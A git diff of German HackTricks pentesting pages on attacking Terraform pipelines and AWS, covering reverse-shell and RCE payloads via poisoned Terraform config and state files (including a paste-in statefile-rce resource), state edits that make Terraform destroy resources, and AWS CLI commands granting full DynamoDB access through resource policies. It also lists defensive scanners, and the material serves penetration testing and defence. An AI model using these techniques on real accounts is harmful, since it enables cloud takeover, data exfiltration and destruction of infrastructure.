diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 70d0048ed..e178a6bb0 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -16,9 +16,9 @@ Terraform erstellt und verwaltet Ressourcen auf Cloud-Plattformen und anderen Di HashiCorp und die Terraform-Community haben bereits **mehr als 1700 Anbieter** geschrieben, um Tausende von verschiedenen Arten von Ressourcen und Diensten zu verwalten, und diese Zahl wächst weiter. Sie finden alle öffentlich verfügbaren Anbieter im [Terraform-Registry](https://registry.terraform.io/), einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen mehr. -Der grundlegende Terraform-Workflow besteht aus drei Phasen: +Der Kern-Workflow von Terraform besteht aus drei Phasen: -- **Schreiben:** Sie definieren Ressourcen, die über mehrere Cloud-Anbieter und -Dienste verteilt sein können. Zum Beispiel könnten Sie eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleich bereitzustellen. +- **Schreiben:** Sie definieren Ressourcen, die über mehrere Cloud-Anbieter und Dienste verteilt sein können. Zum Beispiel könnten Sie eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleich bereitzustellen. - **Planen:** Terraform erstellt einen Ausführungsplan, der die Infrastruktur beschreibt, die es basierend auf der vorhandenen Infrastruktur und Ihrer Konfiguration erstellen, aktualisieren oder zerstören wird. - **Anwenden:** Nach Genehmigung führt Terraform die vorgeschlagenen Operationen in der richtigen Reihenfolge aus und respektiert dabei alle Ressourcenabhängigkeiten. Wenn Sie beispielsweise die Eigenschaften einer VPC aktualisieren und die Anzahl der virtuellen Maschinen in dieser VPC ändern, wird Terraform die VPC neu erstellen, bevor es die virtuellen Maschinen skalieren kann. @@ -28,13 +28,13 @@ Der grundlegende Terraform-Workflow besteht aus drei Phasen: Installieren Sie einfach Terraform auf Ihrem Computer. -Hier haben Sie einen [Leitfaden](https://learn.hashicorp.com/tutorials/terraform/install-cli) und hier haben Sie die [beste Möglichkeit, Terraform herunterzuladen](https://www.terraform.io/downloads). +Hier haben Sie eine [Anleitung](https://learn.hashicorp.com/tutorials/terraform/install-cli) und hier haben Sie den [besten Weg, um Terraform herunterzuladen](https://www.terraform.io/downloads). -## RCE in Terraform +## RCE in Terraform: Konfigurationsdatei-Vergiftung -Terraform **hat keine Plattform, die eine Webseite oder einen Netzwerkdienst** bereitstellt, den wir auflisten können, daher ist der einzige Weg, Terraform zu kompromittieren, **in der Lage zu sein, Terraform-Konfigurationsdateien hinzuzufügen/zu ändern**. +Terraform **hat keine Plattform, die eine Webseite oder einen Netzwerkdienst** bereitstellt, den wir auflisten können. Daher ist der einzige Weg, Terraform zu kompromittieren, **in der Lage zu sein, Terraform-Konfigurationsdateien hinzuzufügen/zu ändern** oder **in der Lage zu sein, die Terraform-Zustandsdatei zu ändern** (siehe Kapitel unten). -Allerdings ist Terraform ein **sehr sensibler Bestandteil**, der kompromittiert werden kann, da es **privilegierten Zugriff** auf verschiedene Standorte hat, damit es ordnungsgemäß funktioniert. +Allerdings ist Terraform ein **sehr sensibler Bestandteil**, der kompromittiert werden kann, da es **privilegierten Zugriff** auf verschiedene Standorte hat, damit es ordnungsgemäß funktionieren kann. Der Hauptweg für einen Angreifer, um das System, auf dem Terraform läuft, zu kompromittieren, besteht darin, **das Repository zu kompromittieren, das Terraform-Konfigurationen speichert**, da sie irgendwann **interpretiert** werden. @@ -48,11 +48,11 @@ Wenn Sie in der Lage sind, eine Terraform-Datei zu kompromittieren, gibt es vers ### Terraform-Plan -Terraform-Plan ist der **am häufigsten verwendete Befehl** in Terraform, und Entwickler/Lösungen, die Terraform verwenden, rufen ihn ständig auf, sodass der **einfachste Weg, RCE zu erhalten**, darin besteht, sicherzustellen, dass Sie eine Terraform-Konfigurationsdatei vergiften, die willkürliche Befehle in einem `terraform plan` ausführt. +Terraform-Plan ist der **am häufigsten verwendete Befehl** in Terraform, und Entwickler/Lösungen, die Terraform verwenden, rufen ihn ständig auf. Daher ist der **einfachste Weg, RCE zu erhalten**, sicherzustellen, dass Sie eine Terraform-Konfigurationsdatei vergiften, die willkürliche Befehle in einem `terraform plan` ausführt. **Verwendung eines externen Anbieters** -Terraform bietet den [`external`-Anbieter](https://registry.terraform.io/providers/hashicorp/external/latest/docs), der eine Möglichkeit bietet, zwischen Terraform und externen Programmen zu interagieren. Sie können die `external`-Datenquelle verwenden, um während eines `plan` willkürlichen Code auszuführen. +Terraform bietet den [`external`-Anbieter](https://registry.terraform.io/providers/hashicorp/external/latest/docs), der eine Schnittstelle zwischen Terraform und externen Programmen bereitstellt. Sie können die `external`-Datenquelle verwenden, um willkürlichen Code während eines `plan` auszuführen. Wenn Sie in einer Terraform-Konfigurationsdatei etwas wie das Folgende injizieren, wird beim Ausführen von `terraform plan` eine Reverse-Shell ausgeführt: ```javascript @@ -83,7 +83,7 @@ Sie finden ein Beispiel unter [https://github.com/rung/terraform-provider-cmdexe Beide genannten Optionen sind nützlich, aber nicht sehr stealthy (die zweite ist stealthier, aber komplexer als die erste). Sie können diesen Angriff sogar auf eine **stealthier Weise** durchführen, indem Sie diese Vorschläge befolgen: -- Anstatt die rev shell direkt in die terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält: +- Anstatt die rev shell direkt in die Terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" @@ -124,15 +124,43 @@ value = nonsensitive(var.do_token) ``` ## Missbrauch von Terraform-Zustandsdateien -Falls Sie Schreibzugriff auf Terraform-Zustandsdateien haben, aber den Terraform-Code nicht ändern können, bietet [**diese Forschung**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) einige interessante Optionen, um die Datei auszunutzen: +Falls Sie Schreibzugriff auf Terraform-Zustandsdateien haben, aber den Terraform-Code nicht ändern können, [**gibt diese Forschung**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) einige interessante Optionen, um die Datei auszunutzen. Selbst wenn Sie Schreibzugriff auf die Konfigurationsdateien hätten, ist die Nutzung des Vektors der Zustandsdateien oft viel heimlicher, da Sie keine Spuren im `git`-Verlauf hinterlassen. -### Löschen von Ressourcen +### RCE in Terraform: Vergiftung der Konfigurationsdatei + +Es ist möglich, [einen benutzerdefinierten Anbieter zu erstellen](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) und einfach einen der Anbieter in der Terraform-Zustandsdatei durch den bösartigen zu ersetzen oder eine gefälschte Ressource hinzuzufügen, die auf den bösartigen Anbieter verweist. + +Der Anbieter [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) baut auf der Forschung auf und macht dieses Prinzip nutzbar. Sie können eine gefälschte Ressource hinzufügen und den beliebigen Bash-Befehl, den Sie ausführen möchten, im Attribut `command` angeben. Wenn der `terraform`-Lauf ausgelöst wird, wird dies sowohl im `terraform plan`- als auch im `terraform apply`-Schritt gelesen und ausgeführt. Im Fall des `terraform apply`-Schritts wird `terraform` die gefälschte Ressource nach der Ausführung Ihres Befehls aus der Zustandsdatei löschen und sich selbst bereinigen. Weitere Informationen und eine vollständige Demo finden Sie im [GitHub-Repository, das den Quellcode für diesen Anbieter hostet](https://github.com/offensive-actions/terraform-provider-statefile-rce). + +Um es direkt zu verwenden, fügen Sie einfach Folgendes an beliebiger Stelle im `resources`-Array ein und passen Sie die Attribute `name` und `command` an: +```json +{ +"mode": "managed", +"type": "rce", +"name": "", +"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]", +"instances": [ +{ +"schema_version": 0, +"attributes": { +"command": "", +"id": "rce" +}, +"sensitive_attributes": [], +"private": "bnVsbA==" +} +] +} +``` +Dann, sobald `terraform` ausgeführt wird, wird Ihr Code ausgeführt. + +### Ressourcen löschen Es gibt 2 Möglichkeiten, Ressourcen zu zerstören: -1. **Fügen Sie eine Ressource mit einem zufälligen Namen in die Zustandsdatei ein, die auf die echte Ressource verweist, die gelöscht werden soll** +1. **Fügen Sie eine Ressource mit einem zufälligen Namen in die Statusdatei ein, die auf die zu zerstörende echte Ressource verweist** -Da Terraform sehen wird, dass die Ressource nicht existieren sollte, wird es sie zerstören (entsprechend der angegebenen echten Ressourcen-ID). Beispiel von der vorherigen Seite: +Da terraform sehen wird, dass die Ressource nicht existieren sollte, wird es sie zerstören (entsprechend der angegebenen echten Ressourcen-ID). Beispiel von der vorherigen Seite: ```json { "mode": "managed", @@ -152,24 +180,9 @@ Da Terraform sehen wird, dass die Ressource nicht existieren sollte, wird es sie Für eine EC2-Instanz reicht es aus, den Typ der Instanz zu ändern, damit Terraform sie löscht und neu erstellt. -### RCE +### Ersetzen Sie den auf die schwarze Liste gesetzten Anbieter -Es ist auch möglich, einen [benutzerdefinierten Anbieter](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) zu erstellen und einfach einen der Anbieter in der Terraform-Zustandsdatei durch den bösartigen zu ersetzen oder eine leere Ressource mit dem bösartigen Anbieter hinzuzufügen. Beispiel aus der ursprünglichen Forschung: -```json -"resources": [ -{ -"mode": "managed", -"type": "scaffolding_example", -"name": "example", -"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", -"instances": [ - -] -}, -``` -### Ersetzen des auf der Blacklist stehenden Anbieters - -Falls Sie auf eine Situation stoßen, in der `hashicorp/external` auf der Blacklist steht, können Sie den `external` Anbieter wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des externen Anbieters, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen. +Falls Sie auf eine Situation stoßen, in der `hashicorp/external` auf die schwarze Liste gesetzt wurde, können Sie den `external`-Anbieter wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des externen Anbieters, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen. ```terraform terraform { required_providers { @@ -221,9 +234,9 @@ Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-comp - **compliance:** Stellen Sie sicher, dass der implementierte Code den Sicherheitsstandards und Ihren eigenen benutzerdefinierten Standards entspricht. - **behaviour driven development:** Wir haben BDD für fast alles, warum nicht für IaC? -- **portable:** einfach von `pip` installieren oder über `docker` ausführen. Siehe [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** es validiert Ihren Code, bevor er bereitgestellt wird. -- **easy to integrate:** es kann in Ihrer Pipeline (oder in Git-Hooks) ausgeführt werden, um sicherzustellen, dass alle Bereitstellungen validiert werden. +- **portable:** Installieren Sie es einfach über `pip` oder führen Sie es über `docker` aus. Siehe [Installation](https://terraform-compliance.com/pages/installation/) +- **pre-deploy:** Es validiert Ihren Code, bevor er bereitgestellt wird. +- **easy to integrate:** Es kann in Ihrer Pipeline (oder in Git-Hooks) ausgeführt werden, um sicherzustellen, dass alle Bereitstellungen validiert werden. - **segregation of duty:** Sie können Ihre Tests in einem anderen Repository aufbewahren, für das ein separates Team verantwortlich ist. > [!NOTE] @@ -233,7 +246,21 @@ pip install terraform-compliance terraform plan -out=plan.out terraform-compliance -f /path/to/folder ``` -### [tfsec +### [tfsec](https://github.com/aquasecurity/tfsec) + +Von den [**docs**](https://github.com/aquasecurity/tfsec): tfsec verwendet statische Analyse Ihres Terraform-Codes, um potenzielle Fehlkonfigurationen zu erkennen. + +- ☁️ Überprüft Fehlkonfigurationen bei allen großen (und einigen kleineren) Cloud-Anbietern +- ⛔ Hunderte von integrierten Regeln +- 🪆 Scannt Module (lokal und remote) +- ➕ Bewertet HCL-Ausdrücke sowie literale Werte +- ↪️ Bewertet Terraform-Funktionen z.B. `concat()` +- 🔗 Bewertet Beziehungen zwischen Terraform-Ressourcen +- 🧰 Kompatibel mit dem Terraform CDK +- 🙅 Wendet (und verfeinert) benutzerdefinierte Rego-Richtlinien an +- 📃 Unterstützt mehrere Ausgabeformate: lovely (Standard), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. +- 🛠️ Konfigurierbar (über CLI-Flags und/oder Konfigurationsdatei) +- ⚡ Sehr schnell, in der Lage, riesige Repositories schnell zu scannen ```bash brew install tfsec tfsec /path/to/folder @@ -264,5 +291,6 @@ brew install terrascan - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) +- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 435f33492..75153c89e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -4,15 +4,64 @@ ## dynamodb -Für weitere Informationen über dynamodb siehe: +Für weitere Informationen zu dynamodb siehe: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -### Post Exploitation +### `dynamodb:PutResourcePolicy`, und optional `dynamodb:GetResourcePolicy` -Soweit ich weiß, gibt es **keinen direkten Weg, um Privilegien in AWS nur durch einige AWS `dynamodb` Berechtigungen zu eskalieren**. Du kannst **sensible** Informationen aus den Tabellen lesen (die AWS-Anmeldeinformationen enthalten könnten) und **Informationen in die Tabellen schreiben** (was andere Schwachstellen auslösen könnte, wie z.B. Lambda-Code-Injektionen...), aber all diese Optionen sind bereits auf der **DynamoDB Post Exploitation-Seite** berücksichtigt: +Seit März 2024 bietet AWS *ressourcenbasierte Richtlinien* für DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +Wenn Sie also die `dynamodb:PutResourcePolicy` für eine Tabelle haben, können Sie sich oder einem anderen Principal einfach vollen Zugriff auf die Tabelle gewähren. + +Das Gewähren der `dynamodb:PutResourcePolicy` an einen zufälligen Principal geschieht oft versehentlich, wenn die Administratoren denken, dass das Gewähren von `dynamodb:Put*` nur dem Principal erlauben würde, Elemente in die Datenbank einzufügen - oder wenn sie dieses Berechtigungsset vor März 2024 gewährt haben... + +Idealerweise haben Sie auch `dynamodb:GetResourcePolicy`, sodass Sie keine anderen potenziell wichtigen Berechtigungen überschreiben, sondern nur die zusätzlichen Berechtigungen injizieren, die Sie benötigen: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +Wenn Sie die aktuelle Richtlinie nicht abrufen können, verwenden Sie einfach diese, die Ihrem Principal vollen Zugriff auf die Tabelle gewährt: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +Wenn Sie es anpassen müssen, hier ist eine Liste aller möglichen DynamoDB-Aktionen: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Und hier ist eine Liste aller Aktionen, die über eine ressourcenbasierte Richtlinie erlaubt werden können *UND welche davon kontenübergreifend verwendet werden können (denken Sie an Datenexfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +Jetzt, da das Richtliniendokument `policy.json` bereit ist, fügen Sie die Ressourcenrichtlinie hinzu: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +Jetzt sollten Sie die benötigten Berechtigungen haben. + +### Post-Exploitation + +Soweit ich weiß, gibt es **keinen anderen direkten Weg, um Berechtigungen in AWS nur durch einige AWS `dynamodb`-Berechtigungen zu eskalieren**. Sie können **sensible** Informationen aus den Tabellen lesen (die AWS-Anmeldeinformationen enthalten könnten) und **Informationen in die Tabellen schreiben** (was andere Schwachstellen auslösen könnte, wie z.B. Lambda-Code-Injektionen...), aber all diese Optionen sind bereits auf der **DynamoDB Post-Exploitation-Seite** berücksichtigt: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 1e142ea91..05f167558 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -34,7 +34,7 @@ Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen über einen CloudFor ] } ``` -Und die Übernahme ist möglich, weil es ein **kleines Zeitfenster vom Moment des Hochladens der Vorlage** in den Bucket bis zum Moment der **Bereitstellung der Vorlage** gibt. Ein Angreifer könnte einfach eine **lambda-Funktion** in seinem Konto erstellen, die **ausgelöst wird, wenn eine Bucket-Benachrichtigung gesendet wird**, und **übernimmt** den **Inhalt** dieses **Buckets**. +Und die Übernahme ist möglich, weil es ein **kleines Zeitfenster vom Moment des Hochladens der Vorlage** in den Bucket bis zum Moment der **Bereitstellung der Vorlage** gibt. Ein Angreifer könnte einfach eine **lambda function** in seinem Konto erstellen, die **ausgelöst wird, wenn eine Bucket-Benachrichtigung gesendet wird**, und **übernimmt** den **Inhalt** dieses **Buckets**. ![](<../../../images/image (174).png>) @@ -50,9 +50,22 @@ Hier sind einige Beispiele: - Wenn eine EC2-Instanz die **Benutzerdaten in einem S3-Bucket speichert**, könnte ein Angreifer diese ändern, um **beliebigen Code innerhalb der EC2-Instanz auszuführen**. +### `s3:PutObject`, `s3:GetObject` (optional) über Terraform-Zustandsdatei + +Es ist sehr häufig, dass die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) Zustandsdateien im Blob-Speicher von Cloud-Anbietern, z.B. AWS S3, gespeichert werden. Die Dateiendung für eine Zustandsdatei ist `.tfstate`, und die Bucket-Namen geben oft auch preis, dass sie Terraform-Zustandsdateien enthalten. In der Regel hat jedes AWS-Konto einen solchen Bucket, um die Zustandsdateien zu speichern, die den Zustand des Kontos anzeigen.\ +Außerdem haben in realen Konten fast immer alle Entwickler `s3:*` und manchmal sogar Geschäftsanwender `s3:Put*`. + +Wenn Sie also die oben genannten Berechtigungen über diese Dateien haben, gibt es einen Angriffsvektor, der es Ihnen ermöglicht, RCE in der Pipeline mit den Berechtigungen von `terraform` zu erlangen - meistens `AdministratorAccess`, was Sie zum Administrator des Cloud-Kontos macht. Außerdem können Sie diesen Vektor verwenden, um einen Denial-of-Service-Angriff durchzuführen, indem Sie `terraform` legitime Ressourcen löschen lassen. + +Befolgen Sie die Beschreibung im Abschnitt *Abusing Terraform State Files* der *Terraform Security*-Seite für direkt verwendbaren Exploit-Code: + +{{#ref}} +terraform-security.md#abusing-terraform-state-files +{{#endref}} + ### `s3:PutBucketPolicy` -Ein Angreifer, der **aus demselben Konto** stammen muss, andernfalls wird der Fehler `Die angegebene Methode ist nicht erlaubt` ausgelöst, kann mit dieser Berechtigung sich selbst mehr Berechtigungen über den Bucket(s) gewähren, was ihm erlaubt, Buckets zu lesen, zu schreiben, zu ändern, zu löschen und offenzulegen. +Ein Angreifer, der **aus demselben Konto** stammen muss, andernfalls wird der Fehler `Die angegebene Methode ist nicht erlaubt` ausgelöst, kann mit dieser Berechtigung sich selbst mehr Berechtigungen über die Bucket(s) gewähren, die es ihm ermöglichen, Buckets zu lesen, zu schreiben, zu ändern, zu löschen und offenzulegen. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket